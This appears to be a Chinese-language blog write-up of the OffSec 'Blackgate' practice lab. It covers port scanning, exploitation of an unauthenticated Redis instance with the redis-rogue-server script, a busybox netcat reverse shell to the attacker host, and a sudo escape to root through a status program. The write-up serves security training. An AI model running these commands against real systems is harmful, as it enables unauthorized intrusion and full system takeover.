OSCP Blackgate Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Blackgate

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

Redis 未授权访问 –> 利用 Redis RCE 漏洞 –> 突破边界 –> 用户旗帜

权限提升:

redis-status 程序 sudo 权限 –> 查看程序字符串 –> 获取到执行密码 –> 服务状态页面执行 shell –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
sudo nmap -p- 192.168.150.176 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
6379/tcp open redis

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
sudo nmap -p- 192.168.150.176 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
6379/tcp open redis

系统为 Linux 环境,开放有 Redis、SSH 服务。

3.2 渗透测试突破边界

3.2.1 Redis 未授权 RCE

系统 Redis 服务可进行未授权访问,由于权限限制,并不能写入计划任务和私钥获取系统权限。

1
redis-cli -h 192.168.150.176

根据 Redis 版本信息,可通过 Redis RCE 漏洞获取系统 shell,参考如下链接:

1
https://github.com/Dliv3/redis-rogue-server

执行漏洞利用脚本,成功获取到系统 prudence 用户 shell,注意: 这里不需要使用 nc 刻意监听本地 1234 端口,脚本执行过程会进行监听,刻意监听会导致程序执行失败。

1
python3 redis-rogue-server.py --rhost 192.168.150.176 --lhost 192.168.45.172 --lport 1234

将 shell 反弹至 kali nc。

1
2
3
4
5
# kali
nc -lvnp 4444

# shell
busybox nc 192.168.45.172 4444 -e /bin/bash

升级为交互式 shell。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Redis-status 程序 sudo 提权至 root 用户

prudence 用户可通过 sudo 执行/usr/local/bin/redis-status 程序。

1
sudo -l

使用 strings 查看程序字符串信息,发现敏感字符,经尝试不属于 root 用户密码,且程序使用了 systemclt 命令。

1
strings /usr/local/bin/redis-status

测试执行 redis-status 会提示输入 key,此时输入字符串中获取的 key,进入到 Redis 服务状态页面,而在服务状态窗口可输入感叹号执行系统命令。

1
2
sudo -u root /usr/local/bin/redis-status
!/bin/bash

成功提权获取到系统 root 用户权限。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Blackgate Write-up
https://www.f0nesec.top/2025/08/20/oscp-blackgate/
作者
F0ne
发布于
2025年8月20日
许可协议